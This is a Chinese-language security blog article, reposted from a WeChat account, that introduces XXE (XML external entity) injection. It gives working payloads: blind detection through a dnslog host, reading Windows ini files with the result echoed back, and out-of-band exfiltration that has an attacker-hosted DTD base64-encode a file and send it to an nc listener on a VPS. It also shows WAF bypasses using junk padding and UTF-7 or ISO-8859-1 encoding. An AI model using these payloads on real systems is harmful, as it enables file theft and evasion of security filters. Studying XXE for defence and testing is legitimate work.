《XXE introduce/simplebypass实战图文》

admin 2026-01-12 01:07:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档介绍XXE漏洞原理与实战利用,涵盖DTD声明、基础Payload检测及有回显、无回显文件读取方法。重点演示了利用垃圾数据填充及UTF-7、ISO-8859-1编码转换绕过WAF的技巧,为安全人员提供了从检测到绕过的XXE攻击参考。 综合评分: 88 文章分类: WEB安全,漏洞分析,漏洞POC


cover_image

《XXE  introduce/simple bypass 实战图文》

原创

Lior1969

Moonlight安全

2026年1月11日 20:03 北京

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!所有工具安全性自测!!!

VX:dawn19691029

汇报人:Lior1969

时间:2026.01.11

《XXE  introduce/simple bypass 实战图文》

01

前言

汇总+思考的xxe内容,有国内师傅和国外的文章翻译的部分因为过于久远了也忘记了来自哪里

Moonlight

02

介绍

XXE主要由DTD文档构成,因此先介绍DTD,如下所示红色部分为DTD

1、开头必须声明为XML <?xml version=”1.0”?> 2、第二行为

例如 <!DOCTYPE NOTE &nbsp; &nbsp;//声明此文档为NOTE类型&nbsp; &nbsp; &nbsp;<!DOCTYPE ANY &nbsp; &nbsp;&nbsp;//也可以为ANY &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;<!DOCTYPE ROOT &nbsp; &nbsp; &nbsp; &nbsp;//ROOT之类

3、DTD有内外引用两种方式

1)内部的 DOCTYPE 声明

2)外部文档声明

PUBLIC也是可以的,和SYSTEM一样

DTD的实体声明有三种方式

(1)内部实体声明

例如:

(2)外部实体声明

例如:

(3)参数实体声明

或者

例如:

Moonlight

03

XXE payload

基础的XXEpyaload

burp搜索XML看是否存在相关XML字段或自己修改content-type为 application/xml &nbsp; Content-type: text/xml

1、盲探测

向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长

<?xml version="1.0"&nbsp;encoding="utf-8"?><!DOCTYPE ANY[&nbsp; &nbsp; <!ENTITY Quan SYSTEM&nbsp;"http://6w3pkd.dnslog.cn">]><root>&Quan;</root>

基础的XXEpyaload

2、有回显的读取文件

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE root[&nbsp; &nbsp; <!ENTITY file PUBLIC&nbsp;"data""file:///c:/windows/win.ini">&nbsp; &nbsp; ]><user><username>&file;</username><password>xxxx</password></user>

注意看,此处有回显是因为把&file;引入到了username的地方,而username原本的地方就是有回显的。

3、无回显的读取文件

1、在VPS上创建文件xxe.dtd 内容为如下

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!ENTITY % file SYSTEM&nbsp;"php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini"><!ENTITY %&nbsp;int"<!ENTITY &#37; send SYSTEM 'http://xx.156.10.245:22222?p=%file;'>">

2、开启端口python -m SimpleHTTPServer 11111 3、开启nc -lvvp 22222 4、在存在XXE漏洞的网站输入payload 5、发送post包如下

<!DOCTYPE convert [&nbsp;<!ENTITY % remote SYSTEM&nbsp;"http://xx.156.10.245:11111/xxe.dtd">%remote;%int;%send;]>

发送可以成功读取ini文件

bypass

开启一个环境,使用payload测试,只要能解析即可达到目的,这里的环境就不多说了,随意的XXE靶场即可

这是没有经过混淆的,success

发送可以成功读取ini

垃圾数据bypasswaf

文件

<?xml version="1.0"&nbsp;encoding="utf-8"&nbsp;xxxxxxxxxxxxxxxxxx a="adasdasddddddddddddddddddddddddddsxxxxxxxxdddddddddddddddddddddddddddddddddddd"
asdasdasdasd
?><!DOCTYPE note[&nbsp; &nbsp; <!ENTITY ssrf SYSTEM&nbsp;"http://81.68.xx.xx:1234/lajishuju222">]><reset>&ssrf;</reset>

字符编码绕过

iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件 UTF7 <?xml version=”1.0” encoding=”utf-7”?> 直接转换修改8为7,内容不用做任何改变

utf-7

<?xml version="1.0"&nbsp;encoding="utf-7"?>+ADwAIQ-DOCTYPE note+AFs&nbsp; &nbsp; +ADwAIQ-ENTITY ssrf SYSTEM +ACI-http://81.68.xx.xx:1234/utf777+ACIAPg+AF0APg+ADw-reset+AD4+ACY-ssrf+ADs+ADw-/reset+AD4+ADw-a+AD4+ADw-foo+AD4-foo1 foo2+ADw-/foo+AD4APA-foofoo/+AD4+ADw-/a+AD4

发送可以成功读取ini文件

ISO-8859-1 <?xml version=”1.0” encoding=”ISO-8859-1”?> 直接修改encoding也能解析

Moonlight

说明

欢迎师傅加我微信,分享国家护网/攻防演练漏洞poc/Src挖掘 交流


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Moonlight安全 Lior1969《《XXE  introduce/simple bypass 实战图文》》

评论:0   参与:  0